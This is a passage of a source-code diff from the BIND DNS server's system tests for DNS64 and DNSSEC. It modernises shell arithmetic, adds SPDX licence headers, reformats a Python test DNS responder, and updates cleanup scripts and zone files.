-status=`expr $status + $ret`
+status=$((status + ret))
 
 copy_setports ns1/named.conf2.in ns1/named.conf
 rndc_reload ns1 10.53.0.1
@@ -1415,9 +1419,9 @@ $DIG $DIGOPTS +dns64prefix @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '^2001:bbbb::/96$' dig.out.ns1.test$n > /dev/null || ret=1
 grep '2001:aaaa::/64' dig.out.ns1.test$n > /dev/null || ret=1
 test $(wc -l < dig.out.ns1.test$n) -eq 2 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 copy_setports ns1/named.conf3.in ns1/named.conf
 rndc_reload ns1 10.53.0.1
@@ -1425,18 +1429,18 @@ rndc_reload ns1 10.53.0.1
 echo_i "checking 'dig +dns64prefix' with no prefixes ($n)"
 $DIG $DIGOPTS +dns64prefix @10.53.0.1 > dig.out.ns1.test$n || ret=1
 test $(wc -l < dig.out.ns1.test$n) -eq 0 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking synthesis of AAAA from builtin ipv4only.arpa ($n)"
 ret=0
 $DIG $DIGOPTS aaaa ipv4only.arpa -b 10.53.0.7 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i 'ipv4only.arpa.*IN.AAAA.2001:96::c000:aa' dig.out.ns2.test$n >/dev/null || ret=1
 grep -i 'ipv4only.arpa.*IN.AAAA.2001:96::c000:ab' dig.out.ns2.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking reverse of dns64 mapped ipv4only.arpa addresses returns ipv4only.arpa ($n)"
 ret=0
@@ -1444,9 +1448,9 @@ $DIG $DIGOPTS ptr -x 2001:96::192.0.0.170 -b 10.53.0.7 @10.53.0.2 > dig.out.170.
 $DIG $DIGOPTS ptr -x 2001:96::192.0.0.171 -b 10.53.0.7 @10.53.0.2 > dig.out.171.ns2.test$n || ret=1
 grep "ip6\.arpa\..*PTR.*ipv4only\.arpa\." dig.out.170.ns2.test$n >/dev/null || ret=1
 grep "ip6\.arpa\..*PTR.*ipv4only\.arpa\." dig.out.171.ns2.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dns64/tests_sh_dns64.py b/bin/tests/system/dns64/tests_sh_dns64.py
new file mode 100644
index 0000000000..7eb152c7f4
--- /dev/null
+++ b/bin/tests/system/dns64/tests_sh_dns64.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dns64(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/dnssec/README b/bin/tests/system/dnssec/README
index 11a0db6589..fcaa3b6c80 100644
--- a/bin/tests/system/dnssec/README
+++ b/bin/tests/system/dnssec/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 The test setup for the DNSSEC tests has a secure root.
 
diff --git a/bin/tests/system/dnssec/ans10/ans.py b/bin/tests/system/dnssec/ans10/ans.py
index 93e2deb7ae..dbe49e5e5a 100644
--- a/bin/tests/system/dnssec/ans10/ans.py
+++ b/bin/tests/system/dnssec/ans10/ans.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 from __future__ import print_function
 import os
@@ -25,11 +25,13 @@
 from dns.rcode import *
 from dns.name import *
 
+
 # Log query to file
 def logquery(type, qname):
     with open("qlog", "a") as f:
         f.write("%s %s\n", type, qname)
 
+
 ############################################################################
 # Respond to a DNS query.
 # SOA gets a unsigned response.
@@ -54,10 +56,16 @@ def create_response(msg):
         now = datetime.today()
         expire = now + timedelta(days=30)
         inception = now - timedelta(days=1)
-        rrsig = "A 13 2 60 " + expire.strftime("%Y%m%d%H%M%S") + " " + \
-            inception.strftime("%Y%m%d%H%M%S") + " 12345 " + qname + \
-            " gB+eISXAhSPZU2i/II0W9ZUhC2SCIrb94mlNvP5092WAeXxqN/vG43/1nmDl" + \
-	    "y2Qs7y5VCjSMOGn85bnaMoAc7w=="
+        rrsig = (
+            "A 13 2 60 "
+            + expire.strftime("%Y%m%d%H%M%S")
+            + " "
+            + inception.strftime("%Y%m%d%H%M%S")
+            + " 12345 "
+            + qname
+            + " gB+eISXAhSPZU2i/II0W9ZUhC2SCIrb94mlNvP5092WAeXxqN/vG43/1nmDl"
+            + "y2Qs7y5VCjSMOGn85bnaMoAc7w=="
+        )
         r.answer.append(dns.rrset.from_text(qname, 1, IN, A, "10.53.0.10"))
         r.answer.append(dns.rrset.from_text(qname, 1, IN, RRSIG, rrsig))
     elif rrtype == NS:
@@ -69,12 +77,14 @@ def create_response(msg):
     r.flags |= dns.flags.AA
     return r
 
+
 def sigterm(signum, frame):
-    print ("Shutting down now...")
-    os.remove('ans.pid')
+    print("Shutting down now...")
+    os.remove("ans.pid")
     running = False
     sys.exit(0)
 
+
 ############################################################################
 # Main
 #
@@ -85,8 +95,10 @@ def sigterm(signum, frame):
 ip4 = "10.53.0.10"
 ip6 = "fd92:7065:b8e:ffff::10"
 
-try: port=int(os.environ['PORT'])
-except: port=5300
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
 
 query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 query4_socket.bind((ip4, port))
@@ -102,17 +114,17 @@ def sigterm(signum, frame):
     havev6 = False
 signal.signal(signal.SIGTERM, sigterm)
 
-f = open('ans.pid', 'w')
+f = open("ans.pid", "w")
 pid = os.getpid()
-print (pid, file=f)
+print(pid, file=f)
 f.close()
 
 running = True
 
-print ("Listening on %s port %d" % (ip4, port))
+print("Listening on %s port %d" % (ip4, port))
 if havev6:
-    print ("Listening on %s port %d" % (ip6, port))
-print ("Ctrl-c to quit")
+    print("Listening on %s port %d" % (ip6, port))
+print("Ctrl-c to quit")
 
 if havev6:
     input = [query4_socket, query6_socket]
@@ -131,8 +143,9 @@ def sigterm(signum, frame):
 
     for s in inputready:
         if s == query4_socket or s == query6_socket:
-            print ("Query received on %s" %
-                    (ip4 if s == query4_socket else ip6), end=" ")
+            print(
+                "Query received on %s" % (ip4 if s == query4_socket else ip6), end=" "
+            )
             # Handle incoming queries
             msg = s.recvfrom(65535)
             rsp = create_response(msg[0])
diff --git a/bin/tests/system/dnssec/clean.sh b/bin/tests/system/dnssec/clean.sh
index adcb52f7d2..c245688c79 100644
--- a/bin/tests/system/dnssec/clean.sh
+++ b/bin/tests/system/dnssec/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,7 +13,7 @@
 
 set -e
 
-rm -f ./*/K* ./*/keyset-* ./*/dsset-* ./*/signedkey-* ./*/*.signed
+rm -f ./K* ./*/K* ./*/keyset-* ./*/dsset-* ./*/signedkey-* ./*/*.signed
 rm -f ./*/example.bk
 rm -f ./*/named.conf
 rm -f ./*/named.memstats
@@ -19,40 +21,39 @@ rm -f ./*/named.run ./*/named.run.prev
 rm -f ./*/named.secroots
 rm -f ./*/tmp* ./*/*.jnl ./*/*.bk ./*/*.jbk
 rm -f ./*/trusted.conf ./*/managed.conf ./*/revoked.conf
-rm -f ./Kexample.* ./Kkeygen* ./keygen*.err
+rm -f ./Kexample.* ./Kkeygen* ./keygen*.err*
 rm -f ./ans10/query.log ./ans10/ans.run
 rm -f ./canonical?.*
 rm -f ./delv.out*
 rm -f ./delve.out*
 rm -f ./dig.out.*
-rm -f ./ns2/too-many-iterations.db
 rm -f ./dnssectools.out*
 rm -f ./dsfromkey.out.*
 rm -f ./keygen.err
 rm -f ./named.secroots.test*
-rm -f ./nosign.before
 rm -f ./ns*/*.nta
-rm -f ./ns*/managed-keys.bind* ./ns*/*.mkeys*
+rm -f ./ns*/managed-keys.bind ./ns*/managed-keys.bind.jnl ./ns*/*.mkeys*
 rm -f ./ns*/named.lock
 rm -f ./ns1/managed.key.id
 rm -f ./ns1/root.db ./ns2/example.db ./ns2/managed.db ./ns2/trusted.db
 rm -f ./ns1/trusted.keys
 rm -f ./ns2/algroll.db
 rm -f ./ns2/badparam.db ./ns2/badparam.db.bad
-rm -f ./ns2/cdnskey-kskonly.secure.db
-rm -f ./ns2/cdnskey-kskonly.secure.id
 rm -f ./ns2/cdnskey-update.secure.db
+rm -f ./ns2/cdnskey-update.secure.id
 rm -f ./ns2/cdnskey-x.secure.db
 rm -f ./ns2/cdnskey.secure.db
 rm -f ./ns2/cds-auto.secure.db ./ns2/cds-auto.secure.db.jnl
-rm -f ./ns2/cds-kskonly.secure.db
-rm -f ./ns2/cds-kskonly.secure.id
 rm -f ./ns2/cds-update.secure.db ./ns2/cds-update.secure.db.jnl
+rm -f ./ns2/cds-update.secure.id
 rm -f ./ns2/cds.secure.db ./ns2/cds-x.secure.db
 rm -f ./ns2/in-addr.arpa.db
 rm -f ./ns2/nsec3chain-test.db
+rm -f ./ns2/settime.out.*
 rm -f ./ns2/single-nsec3.db
+rm -f ./ns2/too-many-iterations.db
 rm -f ./ns2/updatecheck-kskonly.secure.*
+rm -f ./ns3/NSEC ./ns3/NSEC3
 rm -f ./ns3/auto-nsec.example.db ./ns3/auto-nsec3.example.db
 rm -f ./ns3/badds.example.db
 rm -f ./ns3/dname-at-apex-nsec3.example.db
@@ -66,7 +67,7 @@ rm -f ./ns3/dnskey-unsupported.example.db
 rm -f ./ns3/dnskey-unsupported.example.db.tmp
 rm -f ./ns3/dynamic.example.db ./ns3/dynamic.example.db.signed.jnl
 rm -f ./ns3/expired.example.db ./ns3/update-nsec3.example.db
-rm -f ./ns3/expiring.example.db ./ns3/nosign.example.db
+rm -f ./ns3/expiring.example.db
 rm -f ./ns3/future.example.db ./ns3/trusted-future.key
 rm -f ./ns3/inline.example.db.signed
 rm -f ./ns3/kskonly.example.db
@@ -79,8 +80,9 @@ rm -f ./ns3/occluded.example.db
 rm -f ./ns3/optout-unknown.example.db ./ns3/optout.example.db
 rm -f ./ns3/optout.nsec3.example.db
 rm -f ./ns3/optout.optout.example.db
-rm -f ./ns3/publish-inactive.example.db
 rm -f ./ns3/revkey.example.db
+rm -f ./ns3/rsasha1-1024.example.tmp
+rm -f ./ns3/rsasha1.example.tmp
 rm -f ./ns3/rsasha256.example.db ./ns3/rsasha512.example.db
 rm -f ./ns3/secure.below-cname.example.db
 rm -f ./ns3/secure.example.db ./ns3/*.managed.db ./ns3/*.trusted.db
@@ -94,7 +96,6 @@ rm -f ./ns3/ttlpatch.example.db ./ns3/ttlpatch.example.db.signed
 rm -f ./ns3/ttlpatch.example.db.patched
 rm -f ./ns3/unsecure.example.db ./ns3/bogus.example.db ./ns3/keyless.example.db
 rm -f ./ns3/unsupported.managed.db.tmp ./ns3/unsupported.trusted.db.tmp
-rm -f ./ns4/managed-keys.bind*
 rm -f ./ns4/named_dump.db*
 rm -f ./ns6/optout-tld.db
 rm -f ./ns7/multiple.example.bk ./ns7/nsec3.example.bk ./ns7/optout.example.bk
@@ -107,9 +108,12 @@ rm -f ./signer/*.signed.post*
 rm -f ./signer/*.signed.pre*
 rm -f ./signer/example.db.after ./signer/example.db.before
 rm -f ./signer/example.db.changed
+rm -f ./signer/general/*.jnl
 rm -f ./signer/general/dsset*
 rm -f ./signer/general/signed.zone
+rm -f ./signer/general/signer.err.*
 rm -f ./signer/general/signer.out.*
 rm -f ./signer/nsec3param.out
+rm -f ./signer/signer.err.*
 rm -f ./signer/signer.out.*
 rm -f ./signing.out*
diff --git a/bin/tests/system/dnssec/dnssec_update_test.pl b/bin/tests/system/dnssec/dnssec_update_test.pl
index 23a40f4b6d..a06c563e3c 100644
--- a/bin/tests/system/dnssec/dnssec_update_test.pl
+++ b/bin/tests/system/dnssec/dnssec_update_test.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dnssec/ns1/named.conf.in b/bin/tests/system/dnssec/ns1/named.conf.in
index 6f20491689..bd1ccc4081 100644
--- a/bin/tests/system/dnssec/ns1/named.conf.in
+++ b/bin/tests/system/dnssec/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns1/root.db.in b/bin/tests/system/dnssec/ns1/root.db.in
index 9c1296e899..526e36c38c 100644
--- a/bin/tests/system/dnssec/ns1/root.db.in
+++ b/bin/tests/system/dnssec/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns1/sign.sh b/bin/tests/system/dnssec/ns1/sign.sh
index e59e534c51..21c6d71b7d 100644
--- a/bin/tests/system/dnssec/ns1/sign.sh
+++ b/bin/tests/system/dnssec/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -24,19 +26,19 @@ zonefile=root.db
 
 echo_i "ns1/sign.sh"
 
-cp "../ns2/dsset-example$TP" .
-cp "../ns2/dsset-in-addr.arpa$TP" .
-cp "../ns2/dsset-too-many-iterations$TP" .
+cp "../ns2/dsset-example." .
+cp "../ns2/dsset-in-addr.arpa." .
+cp "../ns2/dsset-too-many-iterations." .
 
-grep "$DEFAULT_ALGORITHM_NUMBER [12] " "../ns2/dsset-algroll$TP" > "dsset-algroll$TP"
-cp "../ns6/dsset-optout-tld$TP" .
+grep "$DEFAULT_ALGORITHM_NUMBER [12] " "../ns2/dsset-algroll." > "dsset-algroll."
+cp "../ns6/dsset-optout-tld." .
 
 ksk=$("$KEYGEN" -q -fk -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 zsk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 
 cat "$infile" "$ksk.key" "$zsk.key" > "$zonefile"
 
-"$SIGNER" -P -g -o "$zone" "$zonefile" > /dev/null 2>&1
+"$SIGNER" -g -o "$zone" "$zonefile" > /dev/null 2>&1
 
 # Configure the resolving server with a staitc key.
 keyfile_to_static_ds "$ksk" > trusted.conf
diff --git a/bin/tests/system/dnssec/ns2/algroll.db.in b/bin/tests/system/dnssec/ns2/algroll.db.in
index 73c0d6bda8..6f66fc9191 100644
--- a/bin/tests/system/dnssec/ns2/algroll.db.in
+++ b/bin/tests/system/dnssec/ns2/algroll.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/badparam.db.in b/bin/tests/system/dnssec/ns2/badparam.db.in
index 091e4ea24f..b18d1863d5 100644
--- a/bin/tests/system/dnssec/ns2/badparam.db.in
+++ b/bin/tests/system/dnssec/ns2/badparam.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/cdnskey-auto.secure.db.in b/bin/tests/system/dnssec/ns2/cdnskey-auto.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/cdnskey-auto.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/cdnskey-auto.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/cdnskey-kskonly.secure.db.in b/bin/tests/system/dnssec/ns2/cdnskey-kskonly.secure.db.in
deleted file mode 100644
index e42cb4a29e..0000000000
--- a/bin/tests/system/dnssec/ns2/cdnskey-kskonly.secure.db.in
+++ /dev/null
@@ -1,12 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-@	SOA	ns2.example. . 1 3600 1200 86400 1200
-@	NS	ns2.example.
diff --git a/bin/tests/system/dnssec/ns2/cdnskey-update.secure.db.in b/bin/tests/system/dnssec/ns2/cdnskey-update.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/cdnskey-update.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/cdnskey-update.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/cdnskey.secure.db.in b/bin/tests/system/dnssec/ns2/cdnskey.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/cdnskey.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/cdnskey.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/cds-auto.secure.db.in b/bin/tests/system/dnssec/ns2/cds-auto.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/cds-auto.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/cds-auto.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/cds-kskonly.secure.db.in b/bin/tests/system/dnssec/ns2/cds-kskonly.secure.db.in
deleted file mode 100644
index e42cb4a29e..0000000000
--- a/bin/tests/system/dnssec/ns2/cds-kskonly.secure.db.in
+++ /dev/null
@@ -1,12 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 3600
-@	SOA	ns2.example. . 1 3600 1200 86400 1200
-@	NS	ns2.example.
diff --git a/bin/tests/system/dnssec/ns2/cds-update.secure.db.in b/bin/tests/system/dnssec/ns2/cds-update.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/cds-update.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/cds-update.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/cds.secure.db.in b/bin/tests/system/dnssec/ns2/cds.secure.db.in
index e42cb4a29e..aa3aaabfaf 100644
--- a/bin/tests/system/dnssec/ns2/cds.secure.db.in
+++ b/bin/tests/system/dnssec/ns2/cds.secure.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/child.nsec3.example.db b/bin/tests/system/dnssec/ns2/child.nsec3.example.db
index 8c7db6531c..8fc3bc837e 100644
--- a/bin/tests/system/dnssec/ns2/child.nsec3.example.db
+++ b/bin/tests/system/dnssec/ns2/child.nsec3.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/child.optout.example.db b/bin/tests/system/dnssec/ns2/child.optout.example.db
index 8c7db6531c..8fc3bc837e 100644
--- a/bin/tests/system/dnssec/ns2/child.optout.example.db
+++ b/bin/tests/system/dnssec/ns2/child.optout.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/corp.db b/bin/tests/system/dnssec/ns2/corp.db
index 70c96299c2..b2912bc6e3 100644
--- a/bin/tests/system/dnssec/ns2/corp.db
+++ b/bin/tests/system/dnssec/ns2/corp.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/dst.example.db.in b/bin/tests/system/dnssec/ns2/dst.example.db.in
index 769d2b5f06..0039484964 100644
--- a/bin/tests/system/dnssec/ns2/dst.example.db.in
+++ b/bin/tests/system/dnssec/ns2/dst.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns2/example.db.in b/bin/tests/system/dnssec/ns2/example.db.in
index 2545faf6b9..015be5fd1d 100644
--- a/bin/tests/system/dnssec/ns2/example.db.in
+++ b/bin/tests/system/dnssec/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -53,6 +55,10 @@ ns3.secure		A	10.53.0.3
 insecure		NS	ns.insecure
